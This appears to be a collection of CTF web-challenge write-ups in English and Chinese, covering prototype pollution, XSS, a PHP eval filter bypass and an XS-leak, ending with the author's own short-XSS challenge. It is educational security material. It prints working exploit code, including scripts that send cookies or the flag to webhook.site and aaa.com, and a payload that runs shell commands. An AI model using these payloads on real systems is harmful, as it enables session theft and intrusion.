shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]
const popperInstance = Popper.createPopper(button, tooltip, {
placement: 'bottom',
modifiers: [
{
name: 'offset',
options: {
offset: [0, 8],
},
},
],
});
});
</script>
</body>
</html>
quote.html
<script>
phrases = [
{'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
{'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
{'@bornrich': 'It\'s hard to beat someone that never gives up'},
{'@businessman': 'Work while they sleep. Then live like they dream'},
{'@bigboss': 'Life begins at the end of your comfort zone'},
{'@daytrader': 'A successfull person never loses... They either win or learn!'}
]
setTimeout(function(){
index = Math.floor(Math.random() * 6)
parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
}, 0)
</script>
First, shvl is so suspicious so I went to it's GitHub page and found that there is a prototype pollution we can leverage: robinvdvleuten/shvl#35
There is no X-Frame-Options
header so we can embed index page and postMessage to it, but we need to be faster than quote.html because index page only accept first message event.
So I think the goal is to win the race and pollute some attributes to abuse Popper. But how do we do this? Let's check the source code!
When creating new Popper instance, it merges default modifiers and the modifiers user set:
const orderedModifiers = orderModifiers(
mergeByName([...defaultModifiers, ...state.options.modifiers])
);
And in mergeByName
, it checks if property exists first:
export default function mergeByName(
modifiers: Array<$Shape<Modifier<any, any>>>
): Array<$Shape<Modifier<any, any>>> {
const merged = modifiers.reduce((merged, current) => {
const existing = merged[current.name]; // this line
merged[current.name] = existing
? {
...existing,
...current,
options: { ...existing.options, ...current.options },
data: { ...existing.data, ...current.data },
}
: current;
return merged;
}, {});
// IE11 does not support Object.values
return Object.keys(merged).map(key => merged[key]);
}
So we can pollute here to override the default modifier if we need. Fortunately, we don't. Because there is a default modifier called applyStyles
which adds styles and attributes to the element: https://github.com/popperjs/popper-core/blob/4800b37c5b4cabb711ac1d904664a70271487c4b/src/modifiers/applyStyles.js#L31
function applyStyles({ state }: ModifierArguments<{||}>) {
Object.keys(state.elements).forEach((name) => {
const style = state.styles[name] || {};
const attributes = state.attributes[name] || {};
const element = state.elements[name];
// arrow is optional + virtual elements
if (!isHTMLElement(element) || !getNodeName(element)) {
return;
}
// Flow doesn't support to extend this property, but it's the most
// effective way to apply styles to an HTMLElement
// $FlowFixMe[cannot-write]
Object.assign(element.style, style);
Object.keys(attributes).forEach((name) => {
const value = attributes[name];
if (value === false) {
element.removeAttribute(name);
} else {
element.setAttribute(name, value === true ? '' : value); // this line
}
});
});
}
So we can set onfocus
to the element and use hashtag to trigger the focus event.
The last thing is, how to be faster than quote.html to send message before it? The answer is, just keep sending it! I use requestAnimationFrame
to send the message recursively until it reaches a limit(40 times in this case).
Final exploit, not perfect but works:
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS</title>
</head>
<body>
<div>
<iframe id="f1" name=f src="https://small-talk.coach:1337" width="500" height="700" onload="run()"></iframe>
</div>
<script>
console.log('loaded')
let count = 0
send()
function send() {
f.postMessage(JSON.stringify({
'__proto__.reference': {
'onfocus': 'location="https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?c="+document.cookie'
},
message: '456'
}), '*')
requestAnimationFrame(() => {
if (count++ < 40) {
send()
} else {
setTimeout(() => {
f1.src = "https://small-talk.coach:1337#quote";
f1.src = "https://small-talk.coach:1337#send-button"
}, 0)
}
})
}
function run() {
console.log('iframe loaded')
}
</script>
</body>
</html>
unsolved, waiting for writeup.
It's a login page
from robots.txt we can find path /admin
and user/password
.
But /admin
returns 404 not found, I was wondering is it intended or by mistake so I asked the author and it's intended to confuse people 😂
We can use user/password
to login, but after login it's just an html with no functionality. After login it sets cookie role=user
, I changed it to role=admin
but still not working.
I was stuck there and that's all.
official writeup: https://hackwithproxy.medium.com/password-reset-writeup-http-parameter-pollution-trollcat-ctf-writeup-2c1c2335f379
unsolved, waiting for writeup.
It's a normal login page.
From robots.txt we can find this image:
So I tried KADMIN:admin
but it fails. I was thinking that the credential might change and this purpose of this image is to tell you it uses ==
instead of ===
.
But I stuck at there and have no idea how to proceed .
是一個畫圖然後會即時同步的網站,有附上 source code:
const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");
const app = express();
app.use(cookieParser(secret.FLAG));
let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });
res.sendFile(__dirname + "/index.html");
});
app.get('/source', (_, res) => {
res.sendFile(__filename);
});
app.get('/api/canvas', (_, res) => {
res.json(canvas);
});
app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});
app.get('/promote', (req, res) => {
if (req.query.yo_i_want_to_be === 'admin')
res.cookie('user', { admin: true }, { signed: true });
res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});
app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
});
app.listen(3000, "0.0.0.0");
因為最近才解了一題 prototype pollution 的題目,所以一眼就看到:if (x && y && color) canvas[x][y] = color.toString();
跟最後一段的判斷:
if (req.query.token && req.query.token.match(/[0-9a-f]{16}/) &&
hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token)
res.send(secret.FLAG);
else
res.send("NO");
只要透過原型污染就可以讓 userData.token 可控,接下來只要找到正確的值就行了。
最後的解法長這樣:
var axios = require('axios')
var crypto = require('crypto')
var baseUrl = 'http://chall.ctf.bamboofox.tw:8787'
var myip = '1.1.1.1'
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');
const token = '5555555555555555'
const hashValue = hash(`${myip}${token}`)
async function run() {
await axios.get(baseUrl + '/api/draw?x=__proto__&y=token&color=' + hashValue)
const response = await axios.get(baseUrl + '/flag?token=' + token)
console.log(response.data)
}
run()
讓 x = __proto__
,y = token,所以就會變成:canvas['__proto__']['token'] = xxx
,達成 prototype pollution。
It's a service for shorten url and pastebin:
source code:
const database = require('../modules/database');
module.exports = async (fastify) => {
fastify.post('createLink', {
handler: (req, rep) => {
const uid = database.generateUid(8);
const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
database.addData({ type: 'link', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
fastify.post('createPaste', {
handler: (req, rep) => {
const uid = database.generateUid(8);
database.addData({ type: 'paste', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
fastify.get('data/:uid', {
handler: (req, rep) => {
if (!req.params.uid) {
return;
}
const { data, type } = database.getData({ uid: req.params.uid });
if (!data || !type) {
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'URL not found',
});
}
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data,
type
});
}
});
}
And it's the source code for front-end:
<!doctype html>
<html>
<head>
<script async>
(async () => {
const id = window.location.pathname.split('/')[2];
if (! id) window.location = window.origin;
const res = await fetch(`${window.origin}/api/data/${id}`);
const { data, type } = await res.json();
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>
First, it gets data from api and then either set content for pastebin or use window.location
for redirecting user from shorten url to original url.
This chall also has a admin bot so we can assume the solution is XSS and steal cookie.
But how?
I spend some time to think about how to do XSS, because document.querySelector('div').textContent = data;
is impossible to XSS.
Then I found window.origin
is suspicious so I googled it and found this:What is window.origin?
It's seems we can manipulate window.origin
by embed it inside an ifame. Because window.origin
will return parent window origin.
But it's not the point, it's nothing to do with window.origin
.
When I find this stackoverflow, it suddenly and randomly reminds me that we can use window.location
to do XSS!
Like this:
window.location = javascript:alert(1)
So we can have a payload like this:
window.location = 'javascript:fetch("xxx.com?c="+document.cookie)'
Next, we need to create a shorten url with long url: javascript:fetch("xxx.com?c="+document.cookie)
.
But there is a validation to check if url starts with http/https:
const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
While createPaste
doesn't do validation and deliberately use object destructuring:
fastify.post('createPaste', {
handler: (req, rep) => {
const uid = database.generateUid(8);
database.addData({ type: 'paste', ...req.body, uid });
So we can override type
and use createPaste
to create url:
{
"data":"javascript:fetch('https://aaa.com?c='+document.cookie)",
"type":"link"
}
After we have this shorten url, we can submit the shorten url to admin bot.
When admin bot visit this url, it will run:
window.location = javascript:fetch('https://aaa.com?c='+document.cookie)
We can get the flag then.
一個計算機的程式,程式碼如下:
<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));
function is_safe($query)
{
$query = strtolower($query);
preg_match_all("/([a-z_]+)/", $query, $words);
$words = $words[0];
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
$accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
$accept_chars = str_split($accept_chars);
$bad = '';
for ($i = 0; $i < count($words); $i++) {
if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
$bad .= $words[$i] . " ";
}
}
for ($i = 0; $i < strlen($query); $i++) {
if (array_search($query[$i], $accept_chars) === false) {
$bad .= $query[$i] . " ";
}
}
return $bad;
}
function safe_eval($code)
{
if (strlen($code) > 1024) return "Expression too long.";
$code = strtolower($code);
$bad = is_safe($code);
$res = '';
if (strlen(str_replace(' ', '', $bad)))
$res = "I don't like this: " . $bad;
else
eval('$res=' . $code . ";");
return $res;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
<title>Calc.exe online</title>
</head>
<style>
</style>
<body>
<section class="hero">
<div class="container">
<div class="hero-body">
<h1 class="title">Calc.exe Online</h1>
</div>
</div>
</section>
<div class="container" style="margin-top: 3em; margin-bottom: 3em;">
<div class="columns is-centered">
<div class="column is-8-tablet is-8-desktop is-5-widescreen">
<form>
<div class="field">
<div class="control">
<input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
</div>
</div>
</form>
</div>
</div>
<div class="columns is-centered">
<?php if (isset($_GET['expression'])) : ?>
<div class="card column is-8-tablet is-8-desktop is-5-widescreen">
<div class="card-content">
= <?= @safe_eval($_GET['expression']) ?>
</div>
</div>
<?php endif ?>
<a href="/?source"></a>
</div>
</div>
</body>
</html>
簡單來說就是針對字串進行過濾,連續的英文字必須要出現在設定好的名單裡面才行,仔細一看會發現都是跟 math 有關的 function。
除此之外也不能有不合法的字元,例如說 $
,否則就會失敗。
這一題滿多人解出來的,但我一開始看到的時候沒什麼頭緒,只覺得應該會滿麻煩的。睡了一覺醒來之後再看了一次那個 function 的清單,看到了 base_convert,是進制轉換的。
回想起之前寫的 如何不用英文字母與數字寫出 console.log(1)? 那篇,其實就有講過可以透過進制轉換來產生出任意字元。
PHP 可以這樣執行程式碼:
<?php
("system")("ls /");
?>
所以只要能湊出 system 跟要執行的指令這兩個字串,這題就搞定了。
但要注意的是指令中會有空白跟 / 這些不能用進制轉換的字元,這怎麼辦呢?可以先湊出 chr
,再用 chr 搭配 ascii code 就行了,就能產生任意字元。
最後的 payload 是這樣,組出 exec 跟 chr 然後組出指令:
(base_convert(14, 10, 36).base_convert(33, 10, 36).base_convert(14, 10, 36).base_convert(12,10,36))(base_convert(12, 10, 36).base_convert(10, 10, 36).base_convert(29, 10, 36).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42))
話說我是手動組的,但我下次覺得應該要寫個程式才對...
Secure private note service
※ Admin have disabled some security feature of their browser...
Flag Format: LINECTF{[a-z0-9-]+}
source code:
from flask import Flask, flash, redirect, url_for, render_template, request, jsonify, send_file, Response, session
from flask_login import LoginManager, login_required, login_user, logout_user, current_user
from flask_wtf.csrf import CSRFProtect
from flask_sqlalchemy import SQLAlchemy
from flask_session import Session
from sqlalchemy.orm.exc import NoResultFound
from sqlalchemy.exc import IntegrityError, DataError
from sqlalchemy import or_
import json
import os
import secrets
import requests
from database import init_db, db
from models import User, Note, NoteSchema
app = Flask(__name__)
if os.getenv('APP_ENV') == 'PROD':
app.config.from_object('config.ProdConfig')
else:
app.config.from_object('config.DevConfig')
init_db(app)
login_manager = LoginManager()
login_manager.init_app(app)
csrf = CSRFProtect(app)
Session(app)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
@login_manager.unauthorized_handler
def unauthorized():
return redirect(url_for('login', redirect=request.full_path))
@app.before_first_request
def insert_initial_data():
try:
admin = User(
username='admin',
password=app.config.get('ADMIN_PASSWORD')
)
db.session.add(admin)
db.session.commit()
except IntegrityError:
db.session.rollback()
return
admin_note = Note(
title='Hello world',
content=('Lorem ipsum dolor sit amet, consectetur '
'adipiscing elit, sed do eiusmod tempor incididunt...'),
owner=admin
)
db.session.add(admin_note)
admin_note = Note(
title='flag',
content=app.config.get('FLAG'),
owner=admin
)
db.session.add(admin_note)
db.session.commit()
@app.route('/')
@login_required
def index():
notes = Note.query.filter_by(owner=current_user).all()
return render_template('index.html', notes=notes)
@app.route('/search')
@login_required
def search():
q = request.args.get('q')
download = request.args.get('download') is not None
if q:
notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
if notes and download:
return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
else:
return redirect(url_for('index'))
return render_template('index.html', notes=notes, is_search=True)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
user = User.query.filter_by(username=username).first()
if user:
flash('Username already exists.')
return redirect(url_for('register'))
user = User(
username=username,
password=password
)
db.session.add(user)
db.session.commit()
return redirect(url_for('login'))
flash('Registeration failed')
return redirect(url_for('register'))
elif request.method == 'GET':
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
url = request.args.get('redirect')
if url:
url = app.config.get('BASE_URL') + url
if current_user.is_authenticated:
return redirect(url)
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
user = User.query.filter_by(username=username).first()
if user and user.verify_password(password):
login_user(user)
if url:
return redirect(url)
return redirect(url_for('index'))
flash('Login failed')
return redirect(url_for('login'))
elif request.method == 'GET':
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/note', methods=['GET', 'POST'])
@login_required
def create_note():
if request.method == 'POST':
title = request.form.get('title')
content = request.form.get('content')
try:
if title and content:
note = Note(
title=title,
content=content,
owner=current_user
)
db.session.add(note)
db.session.commit()
return redirect(url_for('note', note_id=note.id))
except DataError:
flash('Note creation failed')
return redirect(url_for('create_note'))
elif request.method == 'GET':
return render_template('create_note.html')
@app.route('/note/<note_id>')
@login_required
def note(note_id):
try:
note = Note.query.filter_by(owner=current_user, id=note_id).one()
except NoResultFound:
flash('Note not found')
return render_template('note.html')
return render_template('note.html', note=note)
@app.route('/report', methods=['GET', 'POST'])
@login_required
def report():
if request.method == 'POST':
url = request.form.get('url')
proof = request.form.get('proof')
if url and proof:
res = requests.get(
app.config.get('CRAWLER_URL'),
params={
'url': url,
'proof': proof,
'prefix': session.pop('pow_prefix')
}
)
prefix = secrets.token_hex(16)
session['pow_prefix'] = prefix
return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'), msg=res.json()['msg'])
else:
return redirect('report')
elif request.method == 'GET':
prefix = secrets.token_hex(16)
session['pow_prefix'] = prefix
return render_template('report.html', pow_prefix=prefix, pow_complexity=app.config.get('POW_COMPLEXITY'))
if __name__ == '__main__':
app.run('0.0.0.0')
crawler
const express = require('express');
const logger = require('morgan');
const createError = require('http-errors');
const puppeteer = require('puppeteer');
const pow = require('proof-of-work')
const app = express();
const host = process.env.APP_HOST || 'localhost:5000';
const base_url = 'http://' + host;
const username = 'admin';
const password = process.env.ADMIN_PASSWORD || 'password';
const pow_complexity = process.env.POW_COMPLEXITY || 1;
app.use(logger('dev'));
const router = express.Router();
router.get('/', async function (req, res, next) {
const url = req.query.url;
const proof = req.query.proof;
const prefix = req.query.prefix;
if (url && url.startsWith(base_url + '/') &&
proof && prefix && verify(proof, prefix)) {
const browser = await puppeteer.launch({
args: [
'--no-sandbox',
'--disable-popup-blocking',
],
headless: true,
});
const page = await browser.newPage();
// login
await page.goto(base_url + '/login');
await page.type('input[name=username]', username);
await page.type('input[name=password]', password);
await Promise.all([
page.waitForNavigation({
waitUntil: 'domcontentloaded',
timeout: 10000,
}),
page.click('button[type=submit]'),
]);
// crawl
page.goto(url).then(() => {
res.header('Access-Control-Allow-Origin', '*');
res.send({msg: 'Thank you for the report!'});
}).catch((err) => {
res.header('Access-Control-Allow-Origin', '*');
res.send({msg: 'ng'});
});
setTimeout(() => {
browser.close()
}, 60 * 1000)
return
}
res.header('Access-Control-Allow-Origin', '*');
res.send({msg: 'ng'});
});
app.use(router);
// catch 404 and forward to error handler
app.use(function (req, res, next) {
next(createError(404));
});
// error handler
app.use(function (err, req, res, next) {
res.status(err.status || 500);
res.send('error');
});
module.exports = app;
// proof-of-work verify
const verify = (proof, prefix) => {
const verifier = new pow.Verifier({
size: 1024,
n: 16,
complexity: pow_complexity,
prefix: Buffer.from(prefix, 'hex'),
validity: 60000
})
setInterval(() => {
verifier.reset();
}, 60000);
return verifier.check(Buffer.from(proof, 'hex'))
}
At first I thought we need to do XSS to steal admin's note and get the flag. But I find nowhere to perform XSS and doubt if it's posssible.
After quickly checking the source code I found a open redirect vulnerability:
@app.route('/login', methods=['GET', 'POST'])
def login():
url = request.args.get('redirect')
if url:
url = app.config.get('BASE_URL') + url
if current_user.is_authenticated:
return redirect(url)
BASE_URL
is something like http://35.200.11.35
. If we pass ?redirect=.abc.com
, it redirects to http://35.200.11.35.abc.com/
.
It's troublesome to create a domain record, actually we can leverage username:password
as well like http://35.200.11.35/login?redirect=:[email protected]
, redirects to http://35.200.11.35:[email protected]
.
So now we can redirect the admin bot to our own domain. I think I will need it at some point to run arbitrary JavaScript.
After playing around for a while I noticed that there is a search and download feature:
@app.route('/search')
@login_required
def search():
q = request.args.get('q')
download = request.args.get('download') is not None
if q:
notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
if notes and download:
return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
else:
return redirect(url_for('index'))
return render_template('index.html', notes=notes, is_search=True)
We can send a query string q
to filter the notes and download the result as json file if exists. If there is no such note, nothing happens.
I think we can use this to brute-force the flag so I tried few ways.
The first approach I tried is window.open
and window.closed
:
<!DOCTYPE html>
<html>
<head></head>
<body>
<script>
var flag = 'LINECTF{d'
var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
setTimeout(() => {
if (win.closed) {
console.log('exist!')
} else {
console.log('QQ')
}
}, 1000)
</script>
</body>
</html>
The idea is quite simple, if LINECTF{d
exists, it triggers file download so window will be closed, otherwise open a new tab. It works for normal browser but not headless Chrome. For headless Chrome it always failed.
Another idea came to my mind is iframe + download link:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
var q = location.hash.slice(1)
var a = document.createElement('a')
a.href = `http://34.84.72.167/search?q=${q}&download=`
a.download = true
a.target='_blank'
a.click()
</script>
</body>
</html>
We can embed above page as iframe and check if we can access iframe.contentWindow.document
. if we can't it means the download has been triggered and the flag exists.
Then it fails again because of Chrome's default SameSite=Lax I guess.
Finally I gave up on thinking the solution myself, I checked XS-Leaks wiki and find the useful way I need: window.open
+ win.origin
:
<!DOCTYPE html>
<html>
<head></head>
<body>
<script>
var flag = 'LINECTF{A'
var win = window.open(`http://35.200.11.35/search?q=${flag}&download=`)
setTimeout(() => {
try {
win.origin
console.log('good!')
} catch(err) {
console.log('QQ')
}
}, 1000)
</script>
</body>
</html>
If window is successfully opened without downloading the file, access window.origin
will throw an error, otherwise it's fine.
After confirmed that it works on my local I quickly wrote a simple script to brute-forcing the flag.
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
var flag = 'LINECTF{'
var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
var wins = []
function run() {
for(let i=0; i<str.length; i++) {
wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
}
setTimeout(() => {
for(let i=0; i<str.length; i++) {
try {
console.log(wins[i].origin, str[i])
flag+=str[i]
fetch('webhook_url?flag=' + flag, {mode: 'no-cors'}).then().catch()
if (str[i] !== '}') {
run()
}
break;
} catch (err) {
}
}
}, 2000)
}
run()
</script>
</body>
</html>
I expected that I need to send it a few times to get the whole flag. It works well at first but returns weird result in the end like LINECTF{1-kn0w-oaaaa}
After keep trying for a while I realized it's a bug in my program which lead to false positive result. I think it's because I forgot to close the window! So after running for a while there are too many windows and it takes more time to load.
So I changed my program to something like this:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
var flag = 'LINECTF{'
var str = 'abcdefghijklmnopqrstuvwxyz0123456789-}'
var wins = []
function run() {
console.log('flag:', flag)
fetch('https://webhook.site/?start='+Math.random()+'&flag=' +flag , {mode: 'no-cors'}).then().catch();
for(let i=0; i<str.length; i++){
try {
wins[i].close()
} catch(err) {
}
}
for(let i=0; i<str.length; i++) {
wins[i] = window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag + str[i])}&download=`)
}
setTimeout(() => {
fetch('https://webhook.site?a=timeout', {mode: 'no-cors'}).then().catch()
for(let i=0; i<str.length; i++) {
try {
console.log(wins[i].origin, str[i])
flag+=str[i]
fetch('https://webhook.site/?flag=' + flag, {mode: 'no-cors'}).then().catch()
if (str[i] !== '}') {
run()
}
break;
} catch (err) {
}
}
}, 1000)
}
run()
</script>
</body>
</html>
To get updates about the progress I added few fetch
for the report. And this time I remember to close the window.
It works well and get the whole flag by send it to admin bot twice.
We don't even need open redirect for this challenge because if you send the url for downloading, headless chrome will crash and throw an exception:
Error: net::ERR_ABORTED at http://35.200.11.35/search?q=LINECTF{&download=
at navigate (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:115:23)
at processTicksAndRejections (internal/process/task_queues.js:97:5)
at async FrameManager.navigateFrame (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:90:21)
at async Frame.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:416:16)
at async Page.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/Page.js:789:16)
The crawler returns ng
for exception, so by checking the return message we can get the flag as well.
I don't know this until I see the writeup by s1r1us.
In May 2021, I solved my first Intigriti XSS challenge. Since then, I play every XSS challenge afterward, and solved most of them. Sometimes it's painful when you try everything you know but still can't solve it, however, the moment you made it, the pain is gone, replaced with joy and happiness.
As a player, I want to be on the other end(as a challenge maker) at least once, if I have an idea of an interesting XSS challenge.
I talked to @PinkDraconian in Jan 2021 and share an XSS challenge I created, after a few discussions, it gets accepted. This write-up is about the story behind the challenge.
One day, when I was studying the famous Tiny XSS Payloads website, I noticed a payload:
<svg/onload=eval(`'`+URL)>
My question is: "Why do we need a quote before the URL?"
If we can control the URL, we can make it something like this: https://example.com/#';alert(1)
. After adding a quote before the URL, it becomes 'https://example.com/#';alert(1)
, just a string and a function call.
I realized that the quote is to make the URL a valid JavaScript snippet.
When I pasted the URL on the code editor, I noticed another interesting thing:
The part after //
is grey out, because //
means comment in JavaScript. Moreover, https:
is also a valid syntax in JavaScript because it's a "label", what a coincidence!
Unlike other languages like C, JavaScript has no goto
statement. But, you can still use the label
with break
and continue
, it's useful when you have nested for-loop:
// without label, you need to have a flag to break outer loop
let isOver = false
for(let i=0; i<5; i++) {
console.log(i)
for(let j=0; j<5; j++) {
if (i*j === 9) {
isOver = true
break
}
}
if (isOver) break
}
// with label, it's easier
outer:
for(let i=0; i<5; i++) {
console.log(i)
for(let j=0; j<5; j++) {
if (i*j === 9) {
break outer
}
}
}
So, https://example.com
is a valid JavaScript code, it's composed of labels and comments, cool, isn't it? That is to say, https://example.com\nalert(1)
is also valid and will pop up an alert!
After I found this, I was thinking that maybe I can make it an XSS challenge.
Then I do.
The core of the challenge is the following code:
window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content // DOM-XSS here
window['main-modal'].classList.remove('hide')
}
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
I hope it looks normal, like what a normal developer will do. It's just extracting the query string q
and checking its length, then putting it into HTML.
The challenge here is the length limit, you can only insert HTML with no more than 24 characters.
The shortest payload on TinyXSS is <svg/onload=eval(name)>
which is 23 in length, but it doesn't work because of this line: window.name = 'XSS(eXtreme Short Scripting) Game'
, it prevents the payload from window.name
.
How about <script/src=//NJ.₨></script>
? I saw so many people were trying this way, but it won't work even if there is no length limitation, because a <script>
tag inserted with innerHTML should not execute.
All other payloads exceed 24 characters, including what I have mentioned previously: <svg/onload=eval("'"+URL)>
If you remember what I wrote at the beginning, you may try this payload as well: <svg/onload=eval(URL)>
with the URL: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Csvg/onload=eval(URL)%3E&first=1#%0aalert(1)
Unfortunately, this doesn't work, because the URL
is encoded, it's %0a
instead of a newline character.
It seems a dead-end, unless you look at the code again carefully.
If you check the scope in devtool or print all properties of window
, you should find a variable called uri
. Let's look at the code again:
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
Although the variable uri
is declared inside the if block, it's still a global variable because var is function-scoped or globally scoped, not block-scoped.
Is this variable helpful? Absolutely.
uri
is a decoded URL, our %0a
turns into \n
, a new line character! So, just replace the payload from eval(URL)
to eval(uri)
, the payload works now: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Csvg/onload=eval(uri)%3E&first=1#%0aalert(1)
We have to fix one last thing: it doesn't work on Firefox.
it's not hard to find out that <style>
can be used instead of <svg>
, here is the final payload: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=1#%0aalert(document.domain)
The length is 24 characters, perfectly fits the limitation.
By the way, if %0a
is blocked, try U+2028
(%E2%80%A8
) and U+2029
(%E2%80%A9
) instead, it's also line terminators. I learned this trick from 0621 XSS challenge.
I have another solution but with user interaction: https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cq%20oncut=eval(%22%27%22+URL)%3E1&first=1#';alert(1)
<q/oncut=eval("'"+URL)>1
One needs to focus on the <q>
element and press ctrl+x
to trigger the XSS.
If you have other solutions, feel free to DM me(@aszx87410).
Thanks for playing the challenge I created, I hope all of you have fun and enjoy it.
There is another great article that has mentioned the same technique: Smuggling Script via URL: Short HTML-based XSS payload, I haven't seen this until a player who solved the challenge sent me this via DM.
I should have added a new line filter to make it harder, at least not so easy to find the answer lol
Incorrect usage of this library leads to serious consequences...
routes.py
from app import app, db
